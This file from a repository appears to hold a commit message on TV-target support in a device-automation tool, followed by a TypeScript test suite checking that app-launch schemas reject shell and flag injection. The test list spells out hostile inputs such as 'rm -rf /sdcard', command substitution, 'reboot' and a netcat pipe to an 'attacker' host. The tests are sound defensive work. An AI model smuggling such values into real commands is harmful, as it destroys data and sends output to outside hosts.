Files
software-mansion__argent/packages/tool-server/test/android-injection-hardening.test.ts
Mateusz Ścianek b8afbed183 feat(tv): Apple TV (tvOS) and Android TV support (#374)
Adds end-to-end support for driving **Apple TV (tvOS)** and **Android TV
(leanback)** targets through argent, using a focus-driven interaction
model (TVs have no touchscreen — interaction is moving a focus highlight
with the remote).

This PR was reworked after review to **reuse the existing cross-platform
tool surface and the `tv-remote` tool from the Vega/Fire TV work
(#366)** rather than ship a separate family of `tv-*` tools.

## What this delivers

TV targets are driven by the **same cross-platform tools as every other
platform**, routed through the existing `dispatchByPlatform` fork
mechanism — there are no dedicated
`tv-describe`/`tv-navigate`/`tv-type`/`tv-set-focus` tools:

- **`describe`** — on a `runtimeKind: "tv"` target, returns the
focus-driven view (focused + focusable elements) instead of a tap tree.
On Android TV it auto-falls-back to the full `uiautomator` tree when the
RN focus engine exposes nothing.
- **`tv-remote`** — the cross-platform remote/D-pad tool from #366, now
extended with `ios` (Apple TV HID daemon) and `android` (Android TV adb
keyevents) branches alongside the existing `vega` branch. Single button,
a `repeat`, or a whole path (`["up","right","select"]`) in one call.
- **`keyboard`** — types into the focused field on a TV target (named
keys are rejected there — they're navigation, which belongs to
`tv-remote`).
- **`button`** stays hardware-only (phones/tablets); it is not a TV
tool.

**Apple TV** runs two native daemons (in-sim AX service + host-side HID
daemon), shipped via the `argent-private` submodule. **Android TV**
reuses the same tool surface, adb-backed (`input keyevent`, `uiautomator
dump`, `input text`).

## Remote vocabulary parity

`tv-remote` exposes the full 16-button vocabulary
(`up`/`down`/`left`/`right`/`select`/`back`/`home`/`menu`/`playPause`/`rewind`/`fastForward`/`next`/`previous`/`volumeUp`/`volumeDown`/`mute`):

| | Apple TV | Android TV | Vega |
|---|---|---|---|
| D-pad / select / back / menu / home / playPause | ✅ | ✅ | ✅ |
| media-transport + volume/mute | ❌ rejected | ✅ | ✅ |

Media-transport/volume keys **genuinely work on Android TV** (real
keycodes — verified live: `volumeUp` moved `STREAM_MUSIC`, `mute`
toggled per `dumpsys audio`). On the **Apple TV simulator** they are
**rejected with a clear error**: on-device testing confirmed the tvOS
sim's HID stack silently drops Consumer-Control events, so returning
success would be a lie.

## Key design points
- **tvOS UDIDs are UUID-shaped and indistinguishable from iOS by
shape.** Handled with `runtimeKind` detection (tvOS runtime string for
Apple TV; `pm list features` leanback/television for Android TV — *not*
`ro.build.characteristics`, which lies on TV emulators).
- Converted launch-app / restart-app / screenshot / screenshot-diff /
run-sequence from **eager** to **lazy** service resolution, so a tvOS
target never spins up (and hangs on) the iOS-only simulator-server /
native-devtools blueprints.
- Native injection selects the platform-matched (TVOSSIMULATOR) dylib
slice; daemons recycle across sim reboots and app relaunches so
injection and focus survive.
- SKILL.md footprint minimized per review: the two TV skills were
collapsed into a single lean **`argent-tv-interact`** (~40 lines).

## Verification
- `npm run build`, ESLint, Prettier, and the full tool-server suite
(**1565 tests**) all pass; CI green (incl. the Apple TV / Android TV /
Vega e2e jobs).
- Core flows verified live against real apps on both an Apple TV 4K
simulator and a Google ATV emulator.

## Dependency / merge order
Pins the `argent-private` submodule to the tip of its `feat/tv-support`
branch (software-mansion/argent-private#20). **Merge that PR to `main`
first, then bump the submodule pointer here to the merged SHA before
merging this PR.**

🤖 Generated with [Claude Code](https://claude.com/claude-code)

---------

Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-07-01 14:59:37 +02:00

149 lines
5.4 KiB
TypeScript

import { describe, it, expect } from "vitest";
import { createLaunchAppTool } from "../src/tools/launch-app";
import { createRestartAppTool } from "../src/tools/restart-app";
import { openUrlTool } from "../src/tools/open-url";
import { reinstallAppTool } from "../src/tools/reinstall-app";
import { createDescribeTool } from "../src/tools/describe";
import { Registry } from "@argent/registry";
// launch-app / restart-app resolve native-devtools lazily through the registry
// (so a tvOS udid never spins up the iOS-only injection), so they're built via
// factory now. These tests only exercise the zod schema, which is registry-
// independent — a throwaway Registry is fine.
const launchAppTool = createLaunchAppTool(new Registry());
const restartAppTool = createRestartAppTool(new Registry());
/**
* Regressions for the command-injection review finding (#1) and the
* empty-udid routing finding (#7).
*
* The attack surface: every Android branch interpolates `bundleId` (and
* sometimes `activity`) directly into an `adb shell "<template>"` string,
* which is re-parsed on-device. Without validation, a `bundleId` of
* `com.x;rm -rf /` executes arbitrary on-device shell.
*
* Fix: zod `.regex` on bundleId / activity, and `.min(1)` on udid so an
* empty string can't be routed to `adb -s "" shell ...` (which silently
* falls back to the default device on multi-device hosts).
*/
describe("bundleId validation — tools that interpolate into adb shell", () => {
const toolCases = [
{ name: "launch-app", schema: launchAppTool.zodSchema!, baseArgs: { udid: "emulator-5554" } },
{ name: "restart-app", schema: restartAppTool.zodSchema!, baseArgs: { udid: "emulator-5554" } },
];
const injectionPayloads = [
"com.foo;rm -rf /sdcard",
"com.foo`touch /sdcard/owned`",
"com.foo$(touch /sdcard/owned)",
"com.foo && reboot",
"com.foo | nc attacker 1234",
"com.foo\nmalicious",
"com.foo'; id; echo '",
// Leading `-` would let bundleId masquerade as an `am`/`cmd package` flag.
"--user",
"-X",
"-foo",
];
for (const { name, schema, baseArgs } of toolCases) {
for (const payload of injectionPayloads) {
it(`${name} rejects bundleId with shell metachars: ${JSON.stringify(payload)}`, () => {
const parsed = schema.safeParse({ ...baseArgs, bundleId: payload });
expect(parsed.success).toBe(false);
});
}
it(`${name} accepts a normal bundleId like com.example.app`, () => {
const parsed = schema.safeParse({ ...baseArgs, bundleId: "com.example.app" });
expect(parsed.success).toBe(true);
});
it(`${name} accepts a bundleId with hyphens (e.g. org.some-vendor.app)`, () => {
// Hyphens are allowed in iOS bundle ids — but the same safe-alphabet
// regex lets them through for both platforms.
const parsed = schema.safeParse({ ...baseArgs, bundleId: "org.some-vendor.app" });
expect(parsed.success).toBe(true);
});
}
});
describe("activity validation — launch-app Android branch", () => {
it("accepts a dot-prefixed activity (.MainActivity)", () => {
const parsed = launchAppTool.zodSchema!.safeParse({
udid: "emulator-5554",
bundleId: "com.example.app",
activity: ".MainActivity",
});
expect(parsed.success).toBe(true);
});
it("accepts a fully-qualified activity (pkg/.Component)", () => {
const parsed = launchAppTool.zodSchema!.safeParse({
udid: "emulator-5554",
bundleId: "com.example.app",
activity: "com.example.app/.MainActivity",
});
expect(parsed.success).toBe(true);
});
it("rejects an activity with a shell backtick", () => {
const parsed = launchAppTool.zodSchema!.safeParse({
udid: "emulator-5554",
bundleId: "com.example.app",
activity: ".Main`id`",
});
expect(parsed.success).toBe(false);
});
it("rejects an activity with `;`", () => {
const parsed = launchAppTool.zodSchema!.safeParse({
udid: "emulator-5554",
bundleId: "com.example.app",
activity: ".Main;reboot",
});
expect(parsed.success).toBe(false);
});
it("rejects an activity that starts with `-` (flag injection)", () => {
const parsed = launchAppTool.zodSchema!.safeParse({
udid: "emulator-5554",
bundleId: "com.example.app",
activity: "-X",
});
expect(parsed.success).toBe(false);
});
});
describe('empty-udid guard (#7) — cross-platform tools reject `udid: ""`', () => {
// Without .min(1), an empty udid flows through to `adb -s "" shell …`
// which silently targets the default device on a multi-host setup.
const toolCases: Array<{
name: string;
schema: { safeParse: (x: unknown) => { success: boolean } };
extra: Record<string, unknown>;
}> = [
{ name: "launch-app", schema: launchAppTool.zodSchema!, extra: { bundleId: "com.x" } },
{ name: "restart-app", schema: restartAppTool.zodSchema!, extra: { bundleId: "com.x" } },
{ name: "open-url", schema: openUrlTool.zodSchema!, extra: { url: "https://example.com" } },
{
name: "reinstall-app",
schema: reinstallAppTool.zodSchema!,
extra: { bundleId: "com.x", appPath: "/tmp/x.apk" },
},
{
name: "describe",
schema: createDescribeTool(new Registry()).zodSchema!,
extra: {},
},
];
for (const { name, schema, extra } of toolCases) {
it(`${name} rejects empty udid`, () => {
const parsed = schema.safeParse({ udid: "", ...extra });
expect(parsed.success).toBe(false);
});
}
});